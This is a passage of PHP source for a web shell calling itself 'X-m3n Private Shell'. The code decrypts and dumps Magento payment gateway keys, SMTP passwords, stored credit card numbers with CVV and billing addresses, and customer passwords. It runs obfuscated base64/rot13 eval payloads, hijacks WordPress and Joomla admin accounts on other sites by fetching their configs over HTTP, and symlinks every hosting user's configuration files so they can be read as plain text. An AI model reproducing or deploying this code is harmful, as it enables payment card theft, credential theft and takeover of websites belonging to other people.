  729. $lastname = $vx['lastname'];
  730. echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
  731. }
  732. echo "</table><br>";
  733. //=========================================================================================================
  734. $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
  735. if(mysql_num_rows($query) != 0){
  736. if (!$query){
  737. echo "<center><b>Gagal</b></center>";
  738. }else{
  739. echo'<br><br>
  740. ====================================================================<br>
  741. [ Authorizenet ] <br>
  742. ====================================================================<br>';
  743. }
  744. echo "
  745. <table border='1' align='center' >
  746. <tr>
  747. <td>no</td>
  748. <td>user</td>
  749. <td>pass</td>
  750. </tr>";
  751. $no = 1;
  752. while($vx = mysql_fetch_array($query)) {
  753. $user = $crypto->decrypt($vx['user']);
  754. $pass = $crypto->decrypt($vx['pass']);
  755.  
  756.  
  757. echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
  758. $no++;
  759. }
  760. echo "</table><br>";
  761. }
  762. //=========================================================================================================
  763. $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
  764. if(mysql_num_rows($query_smtp) != 0){
  765. if (!$query_smtp){
  766. echo "<center><b>Gagal</b></center>";
  767. }else{
  768. echo'<br><br>
  769. ====================================================================<br>
  770. [ SMTP ] <br>
  771. ====================================================================<br>';
  772. }
  773. echo "
  774. <table border='1' align='center' >
  775. <tr>
  776. <td>no</td>
  777. <td>host</td>
  778. <td>port</td>
  779. <td>user</td>
  780. <td>pass</td>
  781. </tr>";
  782. $no = 1;
  783. $batas = 0;
  784. while($rows = mysql_fetch_array($query_smtp)) {
  785. $smtphost = $rows[0];
  786. $smtpport = $rows[1];
  787. $smtpuser = $rows[2];
  788. $smtppass = $rows[3];
  789. echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
  790. $no++;
  791. }
  792. echo "</table><br>";
  793. }
  794. //=========================================================================================================
  795. $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
  796. $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
  797. if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
  798. echo'<br><br>
  799. ====================================================================<br>
  800. [ Credit Card ] <br>
  801. ====================================================================<br>';
  802. echo "
  803. <table border='1' align='left' >
  804. <tr>
  805. <td>no</td>
  806. <td>Date</td>
  807. <td>Credit Owner</td>
  808. <td>method</td>
  809. <td>Credit Number</td>
  810. <td>Credit Exp</td>
  811. <td>CVV</td>
  812. <td>Address</td>
  813. </tr>";
  814. $no = 1;
  815. $batas = 0;
  816. while($vx = mysql_fetch_array($query)){
  817. $date = $vx['updated_at'];
  818. $cc_owner = $vx['cc_owner'];
  819. $method = $vx['method'];
  820. $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
  821. $exp = $vx['exp'];
  822. $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
  823. $Billing_Address = $vx['Billing Address'];
  824. echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
  825. $batas = $no++;
  826. }
  827.  
  828. while($vx2 = mysql_fetch_array($query2)){
  829. $batas +=1;
  830. $cc_owner = $vx2['cc_owner'];
  831. $method = $vx2['method'];
  832. $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
  833. $exp = $vx2['exp'];
  834. $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
  835. $Billing_Address = $vx2['Billing Address'];
  836. echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
  837. $batas++;
  838. }
  839.  
  840. echo "</table><br>";
  841. }
  842. //=========================================================================================================
  843. $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
  844. $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
  845.  
  846.  
  847. if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
  848. if (!$query){
  849. echo "<center><b>Gagal</b></center>";
  850. }else{
  851. echo'<br><br>
  852. ====================================================================<br>
  853. [ Customer ] <br>
  854. ====================================================================<br>';
  855. }
  856. echo "
  857. <table border='1' align='center' >
  858. <tr>
  859. <td>no</td>
  860. <td>user</td>
  861. <td>pass</td>
  862. </tr>";
  863. $no = 1;
  864. $batas = 0;
  865. while($vx = mysql_fetch_array($query)) {
  866. $user = $vx['email'];
  867. $pass = $vx['value'];
  868. echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
  869. $batas = $no++;
  870. }
  871.  
  872. if(mysql_num_rows($query2) != 0 && ($query2)){
  873. while($vx2 = mysql_fetch_array($query2)){
  874. $user = $vx2['customer_email'];
  875. $pass = $crypto->decrypt($vx2['password_hash']);
  876. if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampilkan
  877. $batas +=1;
  878. echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
  879. $batas++;
  880. }
  881. }
  882. }
  883.  
  884. echo "</table><br>";
  885. }
  886. //=========================================================================================================
  887. }
  888. }
  889. function save($format,$data){
  890. $fp = fopen($format, 'a');
  891. fwrite($fp, $data);
  892. fclose($fp);
  893. }
  894. function cekbase64($string){
  895. $decoded = base64_decode($string, true);
  896. if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;
  897. if(!base64_decode($string, true)) return false;
  898. if(base64_encode($decoded) != $string) return false;
  899. return true;//nilai return 1 jika true
  900. }
  901. //----untuk decode password ---/
  902. class Varien_Crypt_Mcrypt{
  903. /**
  904. * Constuctor
  905. *
  906. * @param array $data
  907. */
  908. public function __construct()
  909. {
  910. }
  911.  
  912. /**
  913. * Initialize mcrypt module
  914. *
  915. * @param string $key cipher private key
  916. * @return Varien_Crypt_Mcrypt
  917. */
  918. public function init($key)
  919. {
  920. $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
  921. $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
  922. $maxKeySize = mcrypt_enc_get_key_size($this->handler);
  923.  
  924. if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
  925. //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
  926. return null;
  927. }
  928.  
  929. mcrypt_generic_init($this->handler, $key, $iv);
  930.  
  931. return $this;
  932. }
  933.  
  934. /**
  935. * Encrypt data
  936. *
  937. * @param string $data source string
  938. * @return string
  939. */
  940. public function encrypt($data)
  941. {
  942. if (!$this->handler) {
  943. //throw new Varien_Exception('Crypt module is not initialized.');
  944. return null;
  945. }
  946. if (strlen($data) == 0) {
  947. return $data;
  948. }
  949. return base64_encode(mcrypt_generic($this->handler, $data));
  950. }
  951.  
  952. /**
  953. * Decrypt data
  954. *
  955. * @param string $data encrypted string
  956. * @return string
  957. */
  958. public function decrypt($data)
  959. {
  960. if (!$this->handler) {
  961. //throw new Varien_Exception('Crypt module is not initialized.');
  962. return null;
  963. }
  964. if (strlen($data) == 0) {
  965. return $data;
  966. }
  967. return mdecrypt_generic($this->handler, base64_decode($data));
  968. }
  969.  
  970.  
  971. /**
  972. * Desctruct cipher module
  973. *
  974. */
  975. public function __destruct()
  976. {
  977. if ($this->handler) {
  978. $this->_reset();
  979. }
  980. }
  981.  
  982. protected function _reset()
  983. {
  984. mcrypt_generic_deinit($this->handler);
  985. mcrypt_module_close($this->handler);
  986. }
  987. }
  988. }
  989. elseif($_GET['do'] == 'zip') {
  990. echo "<center><h1>Zip Menu</h1>";
  991. function rmdir_recursive($dir) {
  992. foreach(scandir($dir) as $file) {
  993. if ('.' === $file || '..' === $file) continue;
  994. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  995. else unlink("$dir/$file");
  996. }
  997. rmdir($dir);
  998. }
  999. if($_FILES["zip_file"]["name"]) {
  1000. $filename = $_FILES["zip_file"]["name"];
  1001. $source = $_FILES["zip_file"]["tmp_name"];
  1002. $type = $_FILES["zip_file"]["type"];
  1003. $name = explode(".", $filename);
  1004. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  1005. foreach($accepted_types as $mime_type) {
  1006. if($mime_type == $type) {
  1007. $okay = true;
  1008. break;
  1009. }
  1010. }
  1011. $continue = strtolower($name[1]) == 'zip' ? true : false;
  1012. if(!$continue) {
  1013. $message = "Its Not Zip";
  1014. }
  1015. $path = dirname(__FILE__).'/';
  1016. $filenoext = basename ($filename, '.zip');
  1017. $filenoext = basename ($filenoext, '.ZIP');
  1018. $targetdir = $path . $filenoext;
  1019. $targetzip = $path . $filename;
  1020. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  1021. mkdir($targetdir, 0777);
  1022. if(move_uploaded_file($source, $targetzip)) {
  1023. $zip = new ZipArchive();
  1024. $x = $zip->open($targetzip);
  1025. if ($x === true) {
  1026. $zip->extractTo($targetdir);
  1027. $zip->close();
  1028.  
  1029. unlink($targetzip);
  1030. }
  1031. $message = "<b>Sukses</b>";
  1032. } else {
  1033. $message = "<b>Error</b>";
  1034. }
  1035. }
  1036. echo '<table style="width:100%" border="1">
  1037. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  1038. <label>Zip File : <input type="file" name="zip_file" /></label>
  1039. <input type="submit" name="submit" value="Upload And Unzip" />
  1040. </form>';
  1041. if($message) echo "<p>$message</p>";
  1042. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  1043. if($_POST['backup']){
  1044. $save=$_POST['save'];
  1045. function Zip($source, $destination)
  1046. {
  1047. if (extension_loaded('zip') === true)
  1048. {
  1049. if (file_exists($source) === true)
  1050. {
  1051. $zip = new ZipArchive();
  1052.  
  1053. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  1054. {
  1055. $source = realpath($source);
  1056.  
  1057. if (is_dir($source) === true)
  1058. {
  1059. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  1060.  
  1061. foreach ($files as $file)
  1062. {
  1063. $file = realpath($file);
  1064.  
  1065. if (is_dir($file) === true)
  1066. {
  1067. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  1068. }
  1069.  
  1070. else if (is_file($file) === true)
  1071. {
  1072. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  1073. }
  1074. }
  1075. }
  1076.  
  1077. else if (is_file($source) === true)
  1078. {
  1079. $zip->addFromString(basename($source), file_get_contents($source));
  1080. }
  1081. }
  1082.  
  1083. return $zip->close();
  1084. }
  1085. }
  1086.  
  1087. return false;
  1088. }
  1089. Zip($_POST['dir'],$save);
  1090. echo "Done , Save To <b>$save</b>";
  1091. }
  1092. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  1093. if($_POST['extrak']){
  1094. $save=$_POST['save'];
  1095. $zip = new ZipArchive;
  1096. $res = $zip->open($_POST['dir']);
  1097. if ($res === TRUE) {
  1098. $zip->extractTo($save);
  1099. $zip->close();
  1100. echo 'Succes , Location : <b>'.$save.'</b>';
  1101. } else {
  1102. echo 'Gagal Mas :( Ntahlah !';
  1103. }
  1104. }
  1105. echo '</tr></table>';
  1106. }
  1107. elseif($_GET['do'] == 'shellchk') {
  1108. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
  1109. } elseif($_GET['do'] == 'loghunter')
  1110. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  1111. elseif($_GET['do'] == 'metu') {
  1112.  
  1113.  
  1114. echo '<form action="?dir=$dir&do=metu" method="post">';
  1115. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1116. echo 'Byee !';
  1117.  
  1118. }
  1119. elseif($_GET['do'] == 'about') {
  1120.  
  1121. echo '<center>X-m3n Private Shell<hr>Recoded Shell By X-m3n<br>';
  1122.  
  1123. }
  1124. elseif($_GET['do'] == 'auto_cu_wp') {
  1125. if($_POST['gass']) {
  1126. echo "<center><h1>WordPress Auto Change User 2</h1>
  1127. <form method='post'>
  1128. Link Config: <br>
  1129. <textarea name='link' style='width: 450px; height:250px;'>";
  1130. UrlLoop($_POST['linkconf'],'wordpress');
  1131. echo"</textarea><br>
  1132. <input type='submit' style='width: 450px;' name='auto_cu_wp' value='Hajar!!'>
  1133. </form></center>";
  1134. } else {
  1135. echo "<center><h1>WordPress Auto Change User 2</h1>
  1136. <form method='post'>
  1137. Link Config: <br>
  1138. <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
  1139. <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1140. </form></center>";
  1141. }
  1142. if($_POST['auto_cu_wp']) {
  1143.  
  1144. function anucurl($sites) {
  1145. $ch = curl_init($sites);
  1146. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1147. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1148. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1149. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1150. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1151. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1152. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1153. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1154. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1155. $data = curl_exec($ch);
  1156. curl_close($ch);
  1157. return $data;
  1158. }
  1159. $link = explode("\r\n", $_POST['link']);
  1160. $user = "xmenhaxor";
  1161. $pass = "xmenhaxor";
  1162. $passx = md5($pass);
  1163. foreach($link as $dir_config) {
  1164. $config = anucurl($dir_config);
  1165. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1166. $dbuser = ambilkata($config,"DB_USER', '","'");
  1167. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1168. $dbname = ambilkata($config,"DB_NAME', '","'");
  1169. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1170. $prefix = $dbprefix."users";
  1171. $option = $dbprefix."options";
  1172. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1173. $db = mysql_select_db($dbname);
  1174. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1175. $result = mysql_fetch_array($q);
  1176. $id = $result[ID];
  1177. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1178. $result2 = mysql_fetch_array($q2);
  1179. $target = $result2[option_value];
  1180. if($target == '') {
  1181. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1182. } else {
  1183. echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
  1184. }
  1185. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1186. if(!$conn OR !$db OR !$update) {
  1187. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1188. mysql_close($conn);
  1189. } else {
  1190. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1191. echo "[+] username: <font color=lime>$user</font><br>";
  1192. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1193.  
  1194. mysql_close($conn);
  1195. }
  1196. }
  1197. }
  1198.  
  1199. }
  1200. elseif($_GET['do'] == 'auto_cu_joomla') {
  1201. if($_POST['gass']) {
  1202. echo "<center><h1>Joomla Auto Change User 2</h1>
  1203. <form method='post'>
  1204. Link Config: <br>
  1205. <textarea name='link' style='width: 450px; height:250px;'>";
  1206. UrlLoop($_POST['linkconf'],'joomla');
  1207. echo"</textarea><br>
  1208. <input type='submit' style='width: 450px;' name='auto_cu_joomla' value='Hajar!!'>
  1209. </form></center>";
  1210. } else {
  1211. echo "<center><h1>Joomla Auto Change User 2</h1>
  1212. <form method='post'>
  1213. Link Config: <br>
  1214. <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/Symconf/'><br>
  1215. <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1216. </form></center>";
  1217. }
  1218. if($_POST['auto_cu_joomla']) {
  1219.  
  1220. function anucurl($sites) {
  1221. $ch = curl_init($sites);
  1222. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1223. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1224. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1225. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1226. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1227. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1228. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1229. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1230. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1231. $data = curl_exec($ch);
  1232. curl_close($ch);
  1233. return $data;
  1234. }
  1235. $link = explode("\r\n", $_POST['link']);
  1236. $user = "xmenhaxor";
  1237. $pass = "xmenhaxor";
  1238. $passx = md5($pass);
  1239. foreach($link as $dir_config) {
  1240. $config = anucurl($dir_config);
  1241. $dbhost = ambilkata($config,"host = '","'");
  1242. $dbuser = ambilkata($config,"user = '","'");
  1243. $dbpass = ambilkata($config,"password = '","'");
  1244. $dbname = ambilkata($config,"db = '","'");
  1245. $dbprefix = ambilkata($config,"dbprefix = '","'");
  1246. $prefix = $dbprefix."users";
  1247. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1248. $db = mysql_select_db($dbname);
  1249. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1250. $result = mysql_fetch_array($q);
  1251. $id = $result['id'];
  1252. $site = ambilkata($config,"sitename = '","'");
  1253. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
  1254. echo "Config => ".$dir_config."<br>";
  1255. echo "CMS => Joomla<br>";
  1256. if($site == '') {
  1257. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1258. } else {
  1259. echo "Sitename => $site<br>";
  1260. }
  1261. if(!$update OR !$conn OR !$db) {
  1262. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1263. } else {
  1264. echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
  1265. }
  1266. mysql_close($conn);
  1267. }
  1268. }
  1269. }
  1270. elseif($_GET['do'] == 'symconfig') {
  1271. if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
  1272. echo '<script>alert("Skid this won\'t work on Windows")</script>';
  1273. exit;
  1274. }
  1275. else
  1276. {
  1277. if($_POST["m"] && !$_POST["passwd"]==""){
  1278. @mkdir("Symconf", 0777);
  1279. @chdir("Symconf");
  1280. @symlink("/","root");
  1281. $htaccess="Options Indexes FollowSymLinks
  1282. DirectoryIndex X-m3n.htm
  1283. AddType text/plain .php
  1284. AddHandler text/plain .php
  1285. Satisfy Any";
  1286. @file_put_contents(".htaccess",$htaccess);
  1287. $etc_passwd=$_POST["passwd"];
  1288. $etc_passwd=explode("\n",$etc_passwd);
  1289. foreach($etc_passwd as $passwd){
  1290. $pawd=explode(":",$passwd);
  1291. $user =$pawd[0];
  1292.  
  1293. @symlink('/','Symconf/root');
  1294. @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1295. @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1296. @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1297. @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1298. @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1299. @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1300. @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1301. @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1302. @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1303. @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1304. @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1305. @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1306. @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1307. @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1308. @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1309. @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1310. @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1311. @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1312. @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1313. @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1314. @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1315. @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1316. @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1317. @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1318. @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1319. @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1320. @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1321. @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1322. @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1323. @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1324. @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1325. @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1326. @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1327. @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1328. @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1329. @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
